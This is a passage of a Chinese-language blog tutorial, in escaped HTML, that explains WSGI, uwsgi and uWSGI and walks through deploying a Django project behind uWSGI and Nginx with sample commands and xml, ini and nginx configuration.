&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;&lt;br&gt;所谓的 WSGI中间件同时实现了API的两方，因此可以在WSGI服务和WSGI应用之间起调解作用：从WSGI服务器的角度来说，中间件扮演应用程序，而从应用程序的角度来说，中间件扮演服务器。“中间件”组件可以执行以下功能：&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;&lt;br&gt;重写环境变量后，根据目标URL，将请求消息路由到不同的应用对象。&lt;br&gt;允许在一个进程中同时运行多个应用程序或应用框架。&lt;br&gt;负载均衡和远程处理，通过在网络上转发请求和响应消息。&lt;br&gt;进行内容后处理，例如应用XSLT样式表。&lt;br&gt;WSGI 的设计确实参考了 Java 的 servlet。&lt;a href=&quot;http://www.python.org/dev/peps/pep-0333/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;python 开发者文档中&lt;/a&gt;有这么一段话：&lt;/p&gt;

&lt;blockquote&gt;

&lt;p&gt;By contrast, although Java has just as many web application frameworks available, Java’s “servlet” API makes it possible for applications written with any Java web application framework to run in any web server that supports the servlet API.&lt;/p&gt;

&lt;/blockquote&gt;

&lt;h3 id=&quot;uWSGI-和-uwsgi&quot;&gt;&lt;a href=&quot;#uWSGI-和-uwsgi&quot; class=&quot;headerlink&quot; title=&quot;uWSGI 和 uwsgi&quot;&gt;&lt;/a&gt;uWSGI 和 uwsgi&lt;/h3&gt;&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;uWSGI是一个Web服务器，它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;要注意 WSGI / uwsgi / uWSGI 这三个概念的区分。&lt;/p&gt;

&lt;ul&gt;

&lt;li&gt;WSGI看过前面小节的同学很清楚了，是一种通信协议。&lt;/li&gt;

&lt;li&gt;uwsgi同WSGI一样是一种通信协议。&lt;/li&gt;

&lt;li&gt;而uWSGI是实现了uwsgi和WSGI两种协议的Web服务器。&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;uwsgi协议是一个uWSGI服务器自有的协议，它用于定义传输信息的类型（type of information），每一个uwsgi packet前4byte为传输信息类型描述，它与WSGI相比是两样东西。&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;关于uwsgi协议看这里：The uwsgi protocol。&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;为什么有了uWSGI为什么还需要Nginx？因为Nginx具备优秀的静态内容处理能力，然后将动态内容转发给uWSGI服务器，这样可以达到很好的客户端响应。&lt;/p&gt;

&lt;h2 id=&quot;uWSGI-Django&quot;&gt;&lt;a href=&quot;#uWSGI-Django&quot; class=&quot;headerlink&quot; title=&quot;uWSGI+Django&quot;&gt;&lt;/a&gt;uWSGI+Django&lt;/h2&gt;&lt;p&gt;###安装&lt;/p&gt;

&lt;p&gt;uWSGI 的安装很简单：&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;pip install uwsgi&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;现在我们试下将 Django 跑起来。我们先在 virtualenv 创建一个 Django Project：&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;[root@nowamagic ~]# cd nowamagic_venv&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;[root@nowamagic nowamagic_venv]# source bin/activate&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;(nowamagic_venv)[root@nowamagic nowamagic_venv]# django-admin.py startproject nowamagic_pj&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;virtualenv 的路径与目录文件如下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.nowamagic.net/librarys/images/201309/2013_09_05_01.png&quot; alt=&quot;virtualenv 的路径与目录文件&quot;&gt;&lt;/p&gt;

&lt;p&gt;Django Project 的路径与目录文件如下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.nowamagic.net/librarys/images/201309/2013_09_05_02.png&quot; alt=&quot;Django Project 的路径与目录文件&quot;&gt;&lt;/p&gt;

&lt;h3 id=&quot;测试uwsgi&quot;&gt;&lt;a href=&quot;#测试uwsgi&quot; class=&quot;headerlink&quot; title=&quot;测试uwsgi&quot;&gt;&lt;/a&gt;测试uwsgi&lt;/h3&gt;&lt;p&gt;在你的服务器上写一个test.py：&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;# test.py&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;def application(env, start_response):&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; start_response(&amp;apos;200 OK&amp;apos;, [(&amp;apos;Content-Type&amp;apos;,&amp;apos;text/html&amp;apos;)])&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; return &amp;quot;Hello World&amp;quot;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;我的 test.py 的路径是 /root/nowamagic_venv/nowamagic_pj/test.py，执行以下命令：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;[root@nowamagic ~]# cd nowamagic_venv&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;[root@nowamagic nowamagic_venv]# source bin/activate&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;(nowamagic_venv)[root@nowamagic nowamagic_venv]# uwsgi --http :8001 --wsgi-file /root/nowamagic_venv/nowamagic_pj/test.py&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;访问网页 &lt;a href=&quot;http://115.28.0.89:8001/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;http://115.28.0.89:8001/&lt;/a&gt;，OK，显示 Hello World，说明 uwsgi 安装成功。&lt;/p&gt;

&lt;h3 id=&quot;测试你的-Django-项目&quot;&gt;&lt;a href=&quot;#测试你的-Django-项目&quot; class=&quot;headerlink&quot; title=&quot;测试你的 Django 项目&quot;&gt;&lt;/a&gt;测试你的 Django 项目&lt;/h3&gt;&lt;p&gt;前面我们用 django-admin.py startproject nowamagic_pj 创建了一个项目，现在我们用 Django 自带的 Web 服务器看看我们的项目有没出问题。还是进入我们虚拟环境：&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;[root@nowamagic ~]# cd nowamagic_venv&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;[root@nowamagic nowamagic_venv]# source bin/activate&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;(nowamagic_venv)[root@nowamagic nowamagic_venv]# python2.7 /root/nowamagic_venv/nowamagic_pj/manage.py runserver 0.0.0.0:8002&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;OK，启动 Django 自带的服务器了，我们再访问 &lt;a href=&quot;http://115.28.0.89:8002/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;http://115.28.0.89:8002/&lt;/a&gt;，成功显示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.nowamagic.net/librarys/images/201309/2013_09_05_03.png&quot; alt=&quot;正确显示&quot;&gt;&lt;/p&gt;

&lt;p&gt;说明 Djanggo 项目也没问题。&lt;/p&gt;

&lt;h3 id=&quot;连接Django和uwsgi&quot;&gt;&lt;a href=&quot;#连接Django和uwsgi&quot; class=&quot;headerlink&quot; title=&quot;连接Django和uwsgi&quot;&gt;&lt;/a&gt;连接Django和uwsgi&lt;/h3&gt;&lt;p&gt;最后一步了，我们要把uwsgi与Django连接起来。&lt;/p&gt;

&lt;p&gt;编写django_wsgi.py文件，将其放在与文件manage.py同一个目录下。我的放在 /root/nowamagic_venv/nowamagic_pj/ 下：&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;#!/usr/bin/env python&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;# coding: utf-8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import os&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import sys&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;# 将系统的编码设置为UTF8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;reload(sys)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;sys.setdefaultencoding(&amp;apos;utf8&amp;apos;)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;os.environ.setdefault(&amp;quot;DJANGO_SETTINGS_MODULE&amp;quot;, &amp;quot;nowamagic_pj.settings&amp;quot;)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;from django.core.handlers.wsgi import WSGIHandler&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;application = WSGIHandler()&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;blockquote&gt;

&lt;p&gt;注意不要直接 copy，有个地方要改：注意到语句os.environ.setdefault。比如我的项目为nowamagic_pj，则语句应该是 os.environ.setdefault(“DJANGO_SETTINGS_MODULE”, “nowamagic_pj.settings”)&lt;/p&gt;

&lt;/blockquote&gt;

&lt;p&gt;OK，进入虚拟环境执行指令：&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;[root@nowamagic ~]# cd nowamagic_venv&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;[root@nowamagic nowamagic_venv]# source bin/activate&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;(nowamagic_venv)[root@nowamagic nowamagic_venv]# uwsgi --http :8000 --chdir /root/nowamagic_venv/nowamagic_pj/ --module django_wsgi&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;成功显示 Django It Works 页面。&lt;/p&gt;

&lt;p&gt;这样，你就可以在浏览器中访问你的Django程序了。所有的请求都是经过uwsgi传递给Django程序的。&lt;/p&gt;

&lt;p&gt;这里我们介绍了如何把uwsgi与Django连接起来。&lt;/p&gt;

&lt;h2 id=&quot;Nginx-uWSGI-Django&quot;&gt;&lt;a href=&quot;#Nginx-uWSGI-Django&quot; class=&quot;headerlink&quot; title=&quot;Nginx+uWSGI+Django&quot;&gt;&lt;/a&gt;Nginx+uWSGI+Django&lt;/h2&gt;&lt;p&gt;先安装 Nginx，可以直接用 apt-get 安装&lt;/p&gt;

&lt;h3 id=&quot;Nginx-配置&quot;&gt;&lt;a href=&quot;#Nginx-配置&quot; class=&quot;headerlink&quot; title=&quot;Nginx 配置&quot;&gt;&lt;/a&gt;Nginx 配置&lt;/h3&gt;&lt;p&gt;在 nginx.conf 上加入/修改，我的 server 配置如下（一切从简……）：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;18&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;server &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;listen 80;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;server_name 115.28.0.89;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;#server_name localhost;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;access_log /home/nowamagic/logs/access.log;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;error_log /home/nowamagic/logs/error.log;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;#root /root/nowamagic_venv/nowamagic_pj;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;location / &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; uwsgi_pass 127.0.0.1:8077;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; #include uwsgi_params;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; include /etc/nginx/uwsgi_params;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; #uwsgi_pass 127.0.0.1:8077;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; #uwsgi_param UWSGI_SCRIPT index;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; #uwsgi_param UWSGI_PYHOME $document_root;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; #uwsgi_param UWSGI_CHDIR $document_root;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;access_log off;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;注意保证配置里写的目录 /home/nowamagic/logs/ 和 /home/nowamagic/logs/ 存在，接下来就没啥问题了，Nginx 配置很简单。&lt;/p&gt;

&lt;h3 id=&quot;uWSGI-配置&quot;&gt;&lt;a href=&quot;#uWSGI-配置&quot; class=&quot;headerlink&quot; title=&quot;uWSGI 配置&quot;&gt;&lt;/a&gt;uWSGI 配置&lt;/h3&gt;&lt;p&gt;前面我们是直接使用命令行来启动 uWSGI，在实际部署环境中，我们常用的是配置文件的方式，而非命令行的方式。&lt;/p&gt;

&lt;p&gt;我的 Django 程序目录：/root/nowamagic_venv/nowamagic_pj/&lt;/p&gt;

&lt;p&gt;这里让 Nginx 采用 8077 端口与 uWSGI 通讯，请确保此端口没有被其它程序采用。&lt;/p&gt;

&lt;p&gt;uWSGI 支持多种配置文件格式，比如 xml，ini，json 等等都可以。&lt;/p&gt;

&lt;h4 id=&quot;xml-配置&quot;&gt;&lt;a href=&quot;#xml-配置&quot; class=&quot;headerlink&quot; title=&quot;xml 配置&quot;&gt;&lt;/a&gt;xml 配置&lt;/h4&gt;&lt;p&gt;请确定你在上一节中的django_wsgi.py文件已经存在了。新建一个XML文件：nowamagic_pj.xml，将它放在 /root/nowamagic_venv/nowamagic_pj 目录下&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&amp;lt;uwsgi&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;lt;socket&amp;gt;127.0.0.1:8077&amp;lt;/socket&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;lt;listen&amp;gt;80&amp;lt;/listen&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;lt;master&amp;gt;true&amp;lt;/master&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;lt;pythonpath&amp;gt;/root/nowamagic_venv/nowamagic_pj&amp;lt;/pythonpath&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;lt;processes&amp;gt;1&amp;lt;/processes&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;lt;logdate&amp;gt;true&amp;lt;/logdate&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;lt;daemonize&amp;gt;/var/log/uwsgi.log&amp;lt;/daemonize&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;lt;plugins&amp;gt;python&amp;lt;/plugins&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;lt;/uwsgi&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;然后执行命令：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;uwsgi -x /root/nowamagic_venv/nowamagic_pj/nowamagic_pj.xml&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;or&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;/usr/local/bin/uwsgi -x /root/nowamagic_venv/nowamagic_pj/nowamagic_pj.xml&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;加载指定的xml配置文件。当使用命令行参数时，可以使用简化命令“-x”。当然也可以不简写：&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;uwsgi --xml /etc/nowamagic.xml&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;甚至如果在命令行的最后一个参数以“.xml”结尾，那么就隐含将加载该xml文件作为配置。&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;uwsgi /etc/nowamagic.xml&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;有时候因各种环境问题，&lt;code&gt;-x --xml&lt;/code&gt; 命令识别不了，可以使用下面的 ini 配置方式：&lt;/p&gt;

&lt;h4 id=&quot;ini-配置&quot;&gt;&lt;a href=&quot;#ini-配置&quot; class=&quot;headerlink&quot; title=&quot;ini 配置&quot;&gt;&lt;/a&gt;ini 配置&lt;/h4&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;[uwsgi]&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;vhost = false&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;plugins = python&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;socket = 127.0.0.1:8077&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;master = true&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;enable-threads = true&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;workers = 1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;wsgi-file = /root/nowamagic_venv/nowamagic_pj/nowamagic_pj/wsgi.py&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;virtualenv = /root/nowamagic_venv&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;chdir = /root/nowamagic_venv/nowamagic_pj&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;然后执行命令：&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;uwsgi --ini /root/nowamagic_venv/nowamagic_pj.ini &amp;amp; uwsgi&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

